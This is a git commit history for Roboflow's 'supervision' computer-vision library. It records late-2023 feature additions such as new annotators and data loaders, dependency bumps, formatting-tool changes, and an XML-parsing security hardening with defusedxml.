Onuralp SEZER 64b395ea60 fix(black):  🔥 black removed from poetry and lock file
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-13 12:38:02 +03:00
Onuralp SEZER bf338eea4a feat(ruff-format):  ✨ ruff-format added and jupyter notebook formatted
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-13 12:36:31 +03:00
Onuralp SEZER 87985b2fe2 fix(black):  🔥 retire black formatter in favor of ruff
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-13 12:28:51 +03:00
Onuralp SEZER f50976992c fix(sec-md5): 🐞 md5 security warning fix
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-13 12:21:14 +03:00
Piotr Skalski d68cd95d43 Merge pull request #666 from roboflow/add-tox
feat(tox): ✨ initial tox.ini for testing multiple python versions locally for supervision
2023-12-12 13:56:56 +01:00
Piotr Skalski bcf7e7b1f7 Merge pull request #573 from roboflow/add-tf-data-loader
Add `sv.Detections.from_tensorflow_hub` data loader.
2023-12-12 13:50:01 +01:00
Onuralp SEZER 16c382e0cc Merge branch 'develop' into add-tox 2023-12-12 15:49:31 +03:00
Onuralp SEZER 63616b95f7 fix(format): 🐞 supervision/detection/core.py excluded from black and flake check
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-12 15:45:03 +03:00
Piotr Skalski 634ab4ff0b Merge pull request #665 from roboflow/defusedxml-hash-security
feat(xml-parsing): 🔐 enhance security with defusedxml and bandit rules
2023-12-12 13:26:54 +01:00
James Gallagher c43b699113 update docstring example 2023-12-12 11:42:35 +00:00
Onuralp SEZER dbf5b67657 Merge pull request #667 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2023-12-12 00:35:02 +03:00
pre-commit-ci[bot] ed54a57575 chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/PyCQA/bandit: 1.7.5 → 1.7.6](https://github.com/PyCQA/bandit/compare/1.7.5...1.7.6)
- [github.com/pycqa/isort: 5.12.0 → 5.13.0](https://github.com/pycqa/isort/compare/5.12.0...5.13.0)
- [github.com/astral-sh/ruff-pre-commit: v0.1.6 → v0.1.7](https://github.com/astral-sh/ruff-pre-commit/compare/v0.1.6...v0.1.7)
2023-12-11 17:44:55 +00:00
Onuralp SEZER 769c97fa49 feat(tox): ✨ initial tox.ini for multiple python version and pytest added
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-10 14:42:45 +03:00
Onuralp SEZER daf4046fd2 feat(xml-parsing): 🔐 enhance security with defusedxml and bandit rules
fix bandit rule B318: (xml-attribute-parsing) defusedxml package should be used to parse untrusted XML data
fix bandit rule B314: (xml-entity-expansion) XML entity expansion should be disabled
fix bandit rule B413: (xml-etree-parse) XML parsing library should be secure
fix bandit rule B412: (xml-lib-exploits) XML libraries should be vetted for defusedxml or lxml.vulns
fix bandit rule B410: (xml-minidom-xxe) XML minidom can be vulnerable to XML eXternal Entity attacks

Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-10 13:57:51 +03:00
SkalskiP 18fa772dbb Correct example usage of get_video_frames_generator in video.py. 2023-12-08 17:02:52 +01:00
Piotr Skalski 41711fe076 Merge pull request #664 from roboflow/main
Merge pull request #663 from roboflow/develop
2023-12-08 17:00:22 +01:00
SkalskiP e0c7c1fbf0 Replace misspelled function name in detection.core.py
Changed the function name from 'from_mmdet' to 'from_mmdetection'. This was done to correct a misspelling which might otherwise lead to confusion and potential errors when calling the function.
2023-12-08 16:57:41 +01:00
Piotr Skalski bcb26f9edd Merge pull request #663 from roboflow/develop
`supervision-0.17.1` release
2023-12-08 15:09:58 +01:00
SkalskiP ee697cad3e Update version number to 0.17.1 in pyproject.toml
The version number in `pyproject.toml` has been updated from 0.17.1rc2 to 0.17.1, reflecting the latest stable release of the Supervision package.
2023-12-08 15:05:49 +01:00
Piotr Skalski a53e39d097 Merge pull request #660 from roboflow/example-fixes
fix(examples): 🐞 tracking LabelAnnotator and traffic_analysis deps fixed
2023-12-08 15:03:07 +01:00
SkalskiP 08f7838f1f Changed the version number in the pyproject.toml from 0.17.1rc1 to 0.17.1rc2 for the Supervision package. 2023-12-08 14:53:49 +01:00
SkalskiP 4388f03a51 The version of the Supervision package has been updated from "0.17.0" to "0.17.1rc1". 2023-12-08 09:39:26 +01:00
Piotr Skalski f2334936e6 Merge pull request #659 from roboflow/py12-upgrade
feat: ✨ Python 3.12 support added
2023-12-08 09:37:30 +01:00
Onuralp SEZER 6d3c7f7e1d feat(notebook): ✨ using supervision[assets] instead of wget download in demo notebook
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-08 05:34:13 +03:00
Onuralp SEZER 180fdf2168 fix(examples): 🐞 tracking LabelAnnotator and traffic_analysis deps fixed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-08 02:56:23 +03:00
Onuralp SEZER 4079188368 Merge branch 'develop' into py12-upgrade
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-08 00:09:48 +03:00
Onuralp SEZER e42770eedb feat(py-version): ✨ Python 3.12 support added
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-07 19:54:52 +03:00
Onuralp SEZER 2f6195ad5d Merge pull request #657 from roboflow/dependabot/github_actions/actions/setup-python-5
⬆️ Bump actions/setup-python from 4 to 5
2023-12-07 19:13:36 +03:00
SkalskiP 29a2bb726b Refactor detection conversion method in Supervision
Modified the method of converting TensorFlow detection results to match the Detections class within the Supervision package.
2023-12-07 12:16:53 +01:00
Piotr Skalski cec537cb89 Merge pull request #655 from roboflow/main
Merge pull request #627 from roboflow/develop
2023-12-07 11:07:15 +01:00
pre-commit-ci[bot] 0ab35b1d88 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-07 09:28:04 +00:00
James Gallagher 32bf235b39 add type hints, remove comment 2023-12-07 09:26:40 +00:00
dependabot[bot] ef292fe2a8 ⬆️ Bump actions/setup-python from 4 to 5
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 4 to 5.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-07 00:47:37 +00:00
Piotr Skalski 36ab9dcb8e Merge pull request #627 from roboflow/develop
`supervision-0.17.0` release
2023-12-06 15:50:31 +01:00
SkalskiP 01d6c5386a Update Supervision package to version 0.17.0
The package version has been updated from 0.17.0rc8 to 0.17.0. Alongside the version, the changelog has also been updated to reflect the newly introduced or modified features, improvements in existing features, and bug fixes.
2023-12-06 15:48:03 +01:00
SkalskiP 7a1863835b Refactor Detections function's docstrings in core.py 2023-12-06 15:26:04 +01:00
Piotr Skalski fb66e57103 Update README.md 2023-12-06 14:37:45 +01:00
SkalskiP b87e07a06b Bump version to 0.17.0rc8
The version of the supervision package in pyproject.toml has been updated from `0.17.0rc7` to `0.17.0rc8`.
2023-12-06 14:03:34 +01:00
Piotr Skalski ba79dba26e Merge pull request #652 from roboflow/feature/add_triangle_annotator
Add `TriangleAnnotator` to annotators
2023-12-06 14:01:42 +01:00
SkalskiP 721935144b Merge remote-tracking branch 'origin/feature/add_triangle_annotator' into feature/add_triangle_annotator 2023-12-06 13:59:14 +01:00
SkalskiP 26ad007b7c Add TriangleAnnotator example to documentation 2023-12-06 13:59:05 +01:00
pre-commit-ci[bot] c46ff15143 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-06 12:52:06 +00:00
SkalskiP f73829e941 The function was initially determining the center point of the triangle, which did not align with the desired annotation style. The changes now ensure that 'xy' refers to the coordinate of the triangle's tip instead of its center. 2023-12-06 13:51:01 +01:00
pre-commit-ci[bot] bf5d8ac29c fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-06 12:46:12 +00:00
SkalskiP 84713239ee Adjusted the default position value in the TriangleAnnotator class. 2023-12-06 13:45:56 +01:00
pre-commit-ci[bot] 8d9228f7fd fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-06 12:43:56 +00:00
SkalskiP 4400ae05eb Merge remote-tracking branch 'origin/feature/add_triangle_annotator' into feature/add_triangle_annotator
# Conflicts:
#	supervision/annotators/core.py
2023-12-06 13:43:37 +01:00
SkalskiP 366d39db48 Refactor vertices calculation in TriangleAnnotator 2023-12-06 13:42:52 +01:00
pre-commit-ci[bot] a618b7c369 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-06 12:34:55 +00:00
SkalskiP f94a8cb9a1 Add TriangleAnnotator to annotators
Added the ability to draw triangle markers on an image based on the provided detections with the TriangleAnnotator class. This is useful when needing to specifically mark or highlight certain areas of an image. The user can now specify both the color of the annotation and the metrics of the triangle such as base and height, as well as its position.
2023-12-06 13:32:48 +01:00
Piotr Skalski 186727243f Merge pull request #511 from abhishek7kalra/traceannotator
Fixed TraceAnnotator to respect the postion argument.
2023-12-06 13:16:50 +01:00
pre-commit-ci[bot] 7ea8e75a78 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-06 11:53:45 +00:00
SkalskiP 27979cf756 Simpler fix with self.trace = Trace(max_size=trace_length, anchor=position) 2023-12-06 12:50:46 +01:00
Piotr Skalski a8c1431392 Merge pull request #651 from roboflow/feature/scale_boxes_utility
Add `scale_boxes` function to detection utils
2023-12-06 12:37:00 +01:00
SkalskiP 58c8620a6f Add examples to move_boxes and scale_boxes functions 2023-12-06 12:32:59 +01:00
pre-commit-ci[bot] 9468f00997 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-06 11:23:31 +00:00
SkalskiP 55f5f6a97a The update introduces two new functions, move_boxes and scale_boxes, to the detection utilities in the supervision package. 2023-12-06 12:23:15 +01:00
pre-commit-ci[bot] a530b2ba5e fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-06 11:20:43 +00:00
SkalskiP 7cbf16be8a Add scale_boxes function to detection utils
Added a new function scale_boxes to the detection utilities in order to scale the dimensions of bounding boxes. This function accepts bounding boxes and a scaling factor as input and returns the scaled bounding boxes. It can enlarge or shrink the input bounding boxes based on the value of the passed factor. The function was also documented in the utils.md file and necessary tests were added to assure its correctness.
2023-12-06 12:16:22 +01:00
Piotr Skalski a112292ed0 Merge pull request #648 from roboflow/collab-fix-v2
fix(versions): 🐞 min numpy version changed to 1.21.2
2023-12-05 14:30:55 +01:00
Onuralp SEZER a64f3ff178 Merge pull request #624 from roboflow/dependabot/pip/wheel-0.42.0
⬆️ Bump wheel from 0.41.3 to 0.42.0
2023-12-05 16:28:46 +03:00
Piotr Skalski 07fc5609da Merge pull request #571 from roboflow/add-azure-analyze-image
Add `from_azure_analyze_image` data loader
2023-12-05 14:00:53 +01:00
SkalskiP 39117f19c4 Merge remote-tracking branch 'origin/add-azure-analyze-image' into add-azure-analyze-image 2023-12-05 13:57:44 +01:00
SkalskiP cb5e9c0df0 Added error handling in Detections.from_azure_analyze_image method 2023-12-05 13:57:27 +01:00
pre-commit-ci[bot] 38b87d6098 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-05 12:46:33 +00:00
SkalskiP a31f964947 Revise Detections.from_azure_analyze_image method for class mapping flexibility 2023-12-05 13:46:15 +01:00
dependabot[bot] 38297f85a5 ⬆️ Bump wheel from 0.41.3 to 0.42.0
Bumps [wheel](https://github.com/pypa/wheel) from 0.41.3 to 0.42.0.
- [Release notes](https://github.com/pypa/wheel/releases)
- [Changelog](https://github.com/pypa/wheel/blob/main/docs/news.rst)
- [Commits](https://github.com/pypa/wheel/compare/0.41.3...0.42.0)

---
updated-dependencies:
- dependency-name: wheel
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-05 12:44:47 +00:00
Onuralp SEZER 5cf91676f6 Merge pull request #644 from roboflow/dependabot/pip/ruff-0.1.7
⬆️ Bump ruff from 0.1.6 to 0.1.7
2023-12-05 15:32:23 +03:00
Onuralp SEZER c3c934f8c1 fix(versions): 🐞 min numpy version changed to 1.21.2
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-05 15:03:16 +03:00
SkalskiP f46326b7e4 Merge branch 'develop' into add-azure-analyze-image 2023-12-05 13:02:10 +01:00
Piotr Skalski 679fee9f16 Merge pull request #646 from roboflow/rename-boxmask-annotator
Rename `BoxMaskAnnotator` to `ColorAnnotator`
2023-12-05 12:54:49 +01:00
SkalskiP 4774ace3c2 Merge branch 'develop' into rename-boxmask-annotator 2023-12-05 12:47:48 +01:00
Piotr Skalski 2e7ecdd418 Merge pull request #647 from roboflow/collab-min-max-version-fix
fix(format): 🐞 removal of numpy,matplotlib,pillow max versions for flexible to collab updates
2023-12-05 12:46:18 +01:00
Onuralp SEZER 918970e7d6 fix(format): 🐞 removal of numpy,matplotlib,pillow max versions for flexible to collab updates
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-05 14:41:47 +03:00
SkalskiP 87979384ed Update project version in pyproject.toml file
The project version in the pyproject.toml file has been updated from 0.17.0rc6 to 0.17.0rc7.
2023-12-05 12:14:28 +01:00
Piotr Skalski 83603e3677 Merge pull request #633 from roboflow/add-piexlate-annotator
Add `PixelateAnnotator`
2023-12-05 12:05:39 +01:00
pre-commit-ci[bot] 566a9296d0 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-05 11:04:16 +00:00
SkalskiP 9612fe7849 Refactor PixelateAnnotator and update docs 2023-12-05 12:03:59 +01:00
James Gallagher 7f2b62a5ce show transparent image 2023-12-05 10:42:31 +00:00
James Gallagher 9c10308abc change heading 2023-12-05 10:42:05 +00:00
James Gallagher d53181bb97 rename variable 2023-12-05 10:41:20 +00:00
pre-commit-ci[bot] 9d836faa8a fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-05 10:39:27 +00:00
James Gallagher c46e0f5c97 rename BoxMaskAnnotator to ColorAnnotator 2023-12-05 10:38:32 +00:00
dependabot[bot] c322cf8001 ⬆️ Bump ruff from 0.1.6 to 0.1.7
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.6 to 0.1.7.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.6...v0.1.7)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-05 00:29:12 +00:00
Piotr Skalski b69eea47a9 Update 🔥 quick start section in README.md 2023-12-04 21:37:30 +01:00
Piotr Skalski fe9b422185 Update 🔥 quick start section in README.md 2023-12-04 21:28:01 +01:00
Piotr Skalski d6fd1b0644 Merge pull request #643 from roboflow/og-images
Add open graph images to documentation.
2023-12-04 18:49:22 +01:00
James Gallagher 1ef1622126 add lenny 2023-12-04 17:03:05 +00:00
James Gallagher e45e1e277b resubmit mkdocs pr 2023-12-04 17:02:44 +00:00
Piotr Skalski b1ac5bc876 Merge pull request #566 from roboflow/min-ver-settings
build(deps): 🚀 min and max supervision package requirements are added
2023-12-04 18:02:04 +01:00
Onuralp SEZER 178d91eaa0 Merge pull request #639 from roboflow/add-open-graph-images
Add mkdocs-material[imaging] dependency
2023-12-04 19:31:26 +03:00
Onuralp SEZER 726ad1dbb1 Merge branch 'develop' into min-ver-settings 2023-12-04 19:23:20 +03:00
SkalskiP e08e4ee389 Rename calculate_dynamic_font_scale to calculate_dynamic_text_scale 2023-12-04 17:05:49 +01:00
SkalskiP 23a58ef99e Rename calculate_dynamic_font_scale to calculate_dynamic_text_scale 2023-12-04 17:04:07 +01:00
SkalskiP bd4208ce84 Update project version to 0.17.0rc5
The project version in the `pyproject.toml` file has been updated to `0.17.0rc5` from `0.17.0rc4`.
2023-12-04 16:48:04 +01:00
Piotr Skalski dd16f917d5 Merge pull request #637 from roboflow/feature/dynamic_font_scale_and_line_thicness_calculation
dynamic font scale and line thickness calculation based on image resolution
2023-12-04 16:36:48 +01:00
Piotr Skalski 31d60734bf Merge pull request #638 from roboflow/revert-636-add-open-graph-images
Revert "Add open graph images"
2023-12-04 16:26:14 +01:00
Piotr Skalski 4483970638 Revert "Add open graph images" 2023-12-04 16:22:38 +01:00
James Gallagher 1710021ece add mkdocs-material[imaging] dependency 2023-12-04 15:22:23 +00:00
Piotr Skalski 144df44ccc Merge pull request #636 from roboflow/add-open-graph-images
Add open graph images
2023-12-04 16:16:37 +01:00
James Gallagher 92761752a0 respond to feedback 2023-12-04 15:09:23 +00:00
James Gallagher b047e061e7 respond to feedback 2023-12-04 15:08:51 +00:00
pre-commit-ci[bot] 72497f3f85 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-04 14:57:58 +00:00
SkalskiP 478c3adfe2 Merge remote-tracking branch 'origin/feature/dynamic_font_scale_and_line_thicness_calculation' into feature/dynamic_font_scale_and_line_thicness_calculation 2023-12-04 15:57:43 +01:00
SkalskiP 81d0876838 Added two new utility functions in the supervision module for dynamic font-size scaling and line thickness calculations. 2023-12-04 15:57:27 +01:00
Piotr Skalski 66720c58fd Merge pull request #635 from roboflow/add-code-snippet-copy
Add code snippet copy feature to docs
2023-12-04 15:30:26 +01:00
pre-commit-ci[bot] b16e479a14 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-04 14:29:14 +00:00
SkalskiP 9f5773aa70 This commit adds descriptions for two new utility functions: calculate_dynamic_font_scale and calculate_dynamic_line_thickness. 2023-12-04 15:27:01 +01:00
SkalskiP d2d590834e Added dynamic font scale and line thickness calculations in utils.py. 2023-12-04 15:18:55 +01:00
pre-commit-ci[bot] f046940bb5 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-04 14:08:00 +00:00
James Gallagher e7e542d160 add required import 2023-12-04 14:07:25 +00:00
James Gallagher dd19c4e185 work on annotator 2023-12-04 14:05:49 +00:00
James Gallagher dfb703219e work on annotator 2023-12-04 14:04:59 +00:00
James Gallagher ec8f10d6a8 add open graph images 2023-12-04 13:35:27 +00:00
capjamesg 242ac0cd06 add code snippet copy feature to docs 2023-12-04 13:20:13 +00:00
pre-commit-ci[bot] 8946d44dcb fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-04 13:16:58 +00:00
capjamesg 718f1b077d add pixelate annotator 2023-12-04 13:15:45 +00:00
Onuralp SEZER 93eb48c2a0 Merge pull request #629 from roboflow/dependabot/pip/cryptography-41.0.6
⬆️ Bump cryptography from 41.0.4 to 41.0.6
2023-12-01 23:33:09 +03:00
dependabot[bot] f6265ebbda ⬆️ Bump cryptography from 41.0.4 to 41.0.6
Bumps [cryptography](https://github.com/pyca/cryptography) from 41.0.4 to 41.0.6.
- [Changelog](https://github.com/pyca/cryptography/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pyca/cryptography/compare/41.0.4...41.0.6)

---
updated-dependencies:
- dependency-name: cryptography
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-01 20:25:38 +00:00
Piotr Skalski b94e2796bd Merge pull request #631 from roboflow/dependabot/github_actions/actions/first-interaction-1.3.0 2023-11-30 11:44:28 +01:00
dependabot[bot] e77d06d817 ⬆️ Bump actions/first-interaction from 1.2.0 to 1.3.0
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.2.0 to 1.3.0.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.2.0...v1.3.0)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-30 00:38:11 +00:00
Piotr Skalski b63457e5fa Merge pull request #478 from roboflow/add-classification-annotator
Add `sv.Classifications.from_clip` data loader
2023-11-27 15:33:29 +01:00
SkalskiP 575a7a301d Refactored the code in core.py to optimize softmax calculation and improve the related docstrings. 2023-11-27 15:27:39 +01:00
James Gallagher fa8f31931c fix dict data type 2023-11-27 14:16:52 +00:00
James Gallagher b4b332a0e2 fix dict data type 2023-11-27 14:14:56 +00:00
SkalskiP 02502baab3 Update docstrings and softmax calculation in core.py 2023-11-27 15:04:06 +01:00
SkalskiP 2aebe13583 Merge branch 'develop' into add-classification-annotator 2023-11-27 14:50:15 +01:00
James Gallagher 6ed04252d6 fix merge conflict 2023-11-27 13:45:16 +00:00
pre-commit-ci[bot] 491209d7bd fix(pre_commit): 🎨 auto format pre-commit hooks 2023-11-27 13:45:06 +00:00
James Gallagher 444f8d01c1 remove classification annotator 2023-11-27 13:44:52 +00:00
James Gallagher f91fad5600 fix merge conflict 2023-11-27 13:42:31 +00:00
Piotr Skalski 1589d8fd43 Merge pull request #572 from roboflow/add-timm-classification-loader
Add timm data loader for `sv.Classifications`
2023-11-27 13:05:58 +01:00
SkalskiP 1d66840cad Optimize imports in core.py
Adjustments have been made to the import statements in the 'core.py' file of the 'classification' module.
2023-11-27 12:58:34 +01:00
SkalskiP 05602cd2a0 Refactor code for clarity and better variable use
The variable names and usage within the 'ultralytics' and 'timm' functions were updated for improved code readability. The docstrings were also refined to better explain the function parameters. Instances where YOLO was redundantly called were also eliminated.
2023-11-27 12:51:05 +01:00
James fc9acc456b Merge branch 'develop' into add-classification-annotator 2023-11-27 11:18:40 +00:00
James Gallagher b6c85a3f4b fix precommit issue 2023-11-27 11:15:55 +00:00
James Gallagher ce92069ba6 fix precommit 2023-11-27 10:57:00 +00:00
Piotr Skalski 2dcf2cc2ae Merge pull request #621 from kim-jeonghyun/fix_typo_from_mmdetection
fix: 📝 typo in from_mmdetection docstring
2023-11-26 20:41:44 +01:00
kim-jeonghyun 619ec018bc fix: 📝 typo in from_mmdetection docstring 2023-11-26 20:33:37 +09:00
SkalskiP 5333eb2684 Update project version in pyproject.toml
The version of the project has been updated from "0.17.0rc3" to "0.17.0rc4".
2023-11-26 11:33:56 +01:00
Piotr Skalski d5d70052bb Merge pull request #620 from roboflow/feature/add_color_as_hex
Add 'as_hex' method and corresponding test to `Color` class.
2023-11-26 11:29:25 +01:00
pre-commit-ci[bot] 242ac5f7db fix(pre_commit): 🎨 auto format pre-commit hooks 2023-11-26 10:27:43 +00:00
SkalskiP e6f0ae8514 Add 'as_hex' method and corresponding test to Color class. 2023-11-26 11:25:59 +01:00
Onuralp SEZER 10c44b0143 Merge pull request #613 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2023-11-21 18:06:51 +03:00
Onuralp SEZER 2a3f592090 Merge pull request #608 from roboflow/dependabot/pip/ruff-0.1.6
⬆️ Bump ruff from 0.1.5 to 0.1.6
2023-11-21 15:18:54 +03:00
pre-commit-ci[bot] 7941527a75 chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/astral-sh/ruff-pre-commit: v0.1.5 → v0.1.6](https://github.com/astral-sh/ruff-pre-commit/compare/v0.1.5...v0.1.6)
2023-11-20 17:36:14 +00:00
Piotr Skalski 42661a0563 Merge pull request #612 from karanjakhar/fixing-typos
fixing typo TRACE -> TRACK
2023-11-20 12:25:51 +01:00
SkalskiP 32077eb11d Bump version in pyproject.toml
The version in the pyproject.toml file has been updated from 0.17.0rc2 to 0.17.0rc3.
2023-11-20 12:21:37 +01:00
karanjakhar d20083de85 fixing typo TRACE -> TRACK 2023-11-20 15:32:18 +05:30
dependabot[bot] 564f1b1026 ⬆️ Bump ruff from 0.1.5 to 0.1.6
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.5 to 0.1.6.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.5...v0.1.6)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-20 01:09:24 +00:00
Piotr Skalski 145313ab8f Merge pull request #606 from xenteros/feature/Make_sv.MaskAnnotator_as_fast_as_annotators_in_popular_detection_frameworks_#472
Feature/make sv.mask annotator as fast as annotators in popular detection frameworks #472
2023-11-17 17:20:22 +01:00
xenteros 1267cf7fb0 Reformatted Code with pre-commit 2023-11-16 22:34:52 +01:00
xenteros c2101db5d2 Optimize sv.MaskAnnotator by reducing number of calls to cv2.addWeighted
* Combined all colored masks before applying them to the scene
* Made sure that returned ndarray is np.uint8 for video writer simplicity
2023-11-16 22:27:32 +01:00
Piotr Skalski fe4657f0d0 Merge pull request #605 from roboflow/feature/add_center_of_mass_text_positioning
Add centroid calculation for binary masks
2023-11-16 16:26:57 +01:00
SkalskiP 6c756c411b Add calculate_masks_centroids function import in __init__.py 2023-11-16 16:25:48 +01:00
SkalskiP 0725d5a1a9 Cast get_anchors_coordinates return to integer. 2023-11-16 15:50:37 +01:00
SkalskiP fa3b43f20a Merge remote-tracking branch 'origin/feature/add_center_of_mass_text_positioning' into feature/add_center_of_mass_text_positioning 2023-11-16 15:37:17 +01:00
SkalskiP 5e091396f2 Refactor center_coordinates conversion to tuple 2023-11-16 15:36:36 +01:00
pre-commit-ci[bot] 66448ea862 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-11-16 14:33:57 +00:00
SkalskiP b33d68da00 Merge remote-tracking branch 'origin/feature/add_center_of_mass_text_positioning' into feature/add_center_of_mass_text_positioning
# Conflicts:
#	supervision/annotators/core.py
2023-11-16 15:31:56 +01:00
SkalskiP 6956dad17d Swap enumeration arguments in loop 2023-11-16 15:30:03 +01:00
pre-commit-ci[bot] b92ffeff82 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-11-16 14:24:19 +00:00
SkalskiP 7750856c18 Fix method names and improve code formatting
Renamed methods to improve clarity. `get_anchor_coordinates` changed to `get_anchors_coordinates` and `calculate_centroids` changed to `calculate_masks_centroids`. Indentation for method arguments was adjusted in `core.py` and other files for better readability. Functionality remains the same, these changes are meant to improve code maintainability and readability.
2023-11-16 15:23:55 +01:00
pre-commit-ci[bot] 72ab46687f fix(pre_commit): 🎨 auto format pre-commit hooks 2023-11-16 12:59:16 +00:00
SkalskiP 50e561a4fb Add centroid calculation for binary masks
Added `calculate_centroids` function to compute center of mass for binary mask representations. Method added to `utils.py` and method import added to `core.py`. `Position` enumeration updated with `CENTER_OF_MASS` constant. Test function is added with test cases covering different mask scenarios. Update allows for masks to carry center of mass information too, useful in object detection.
2023-11-16 13:52:32 +01:00
Piotr Skalski bb7695a774 Merge pull request #603 from roboflow/gh-pages-permission-fix
fix: 🐞 gh-pages permission fix for deployment
2023-11-15 20:50:58 +01:00
Onuralp SEZER 95006dca14 fix: 🐞 gh-pages permission fix for deployment 2023-11-15 22:11:32 +03:00
Onuralp SEZER b3dec1a734 Merge branch 'develop' into min-ver-settings 2023-11-15 21:39:37 +03:00
Piotr Skalski 5456c666c7 Merge pull request #602 from roboflow/feature/adding-polygon-annotator
Add PolygonAnnotator and update documentation
2023-11-15 17:54:11 +01:00
SkalskiP 2ed4e16ab5 Added a visual and code example for PolygonAnnotator in supervision/annotators/core.py and docs/annotators.md. 2023-11-15 17:49:17 +01:00
SkalskiP c1beb0f5fd Add PolygonAnnotator to supervision annotators 2023-11-15 17:30:06 +01:00
pre-commit-ci[bot] 777e8d3e5b fix(pre_commit): 🎨 auto format pre-commit hooks 2023-11-15 16:11:11 +00:00
SkalskiP e40532cf3e Add PolygonAnnotator and update documentation
Implemented the PolygonAnnotator class in the core.py file under the supervision/annotators directory to support drawing polygons over detected objects. This was done by dividing the masks into multiple polygons and drawing them on the image.
2023-11-15 17:09:27 +01:00
Onuralp SEZER 550e86bc6d Merge pull request #598 from roboflow/dependabot/pip/mkdocstrings-0.24.0
⬆️ Bump mkdocstrings from 0.23.0 to 0.24.0
2023-11-15 17:07:13 +03:00
Onuralp SEZER 6af17b235f Merge pull request #589 from roboflow/dependabot/pip/mypy-1.7.0
⬆️ Bump mypy from 1.6.1 to 1.7.0
2023-11-15 17:06:48 +03:00
Onuralp SEZER de867bb166 Merge pull request #593 from roboflow/dependabot/github_actions/actions/github-script-7
⬆️ Bump actions/github-script from 6 to 7
2023-11-15 17:06:25 +03:00
Onuralp SEZER ca84d3129c Merge pull request #592 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2023-11-15 17:06:03 +03:00
Onuralp SEZER 9c9bc77e12 Merge pull request #600 from roboflow/fix/incorrectly-autoformatted-case-test
Updated tests to reflect changes in file content handling
2023-11-15 17:05:11 +03:00
Onuralp SEZER b9573605c7 fix(test): 🧪 pre-commit's whitespace exclude and test case fix for whiespace
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-11-15 17:01:57 +03:00
pre-commit-ci[bot] 8025b468a2 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-11-15 13:42:25 +00:00
SkalskiP d3fb4ad932 Ignoring W291 for test_file.py 2023-11-15 14:41:38 +01:00
pre-commit-ci[bot] fcfb57612f fix(pre_commit): 🎨 auto format pre-commit hooks 2023-11-15 13:37:51 +00:00
SkalskiP c28aa5aebd Updated tests to reflect changes in file content handling 2023-11-15 14:37:02 +01:00
Piotr Skalski 109d048a38 Merge pull request #584 from SummitStudiosDev/develop
Ignore Empty Newlines in Yolo Label File
2023-11-15 14:32:34 +01:00
dependabot[bot] 6ad1f701dd ⬆️ Bump mkdocstrings from 0.23.0 to 0.24.0
Bumps [mkdocstrings](https://github.com/mkdocstrings/mkdocstrings) from 0.23.0 to 0.24.0.
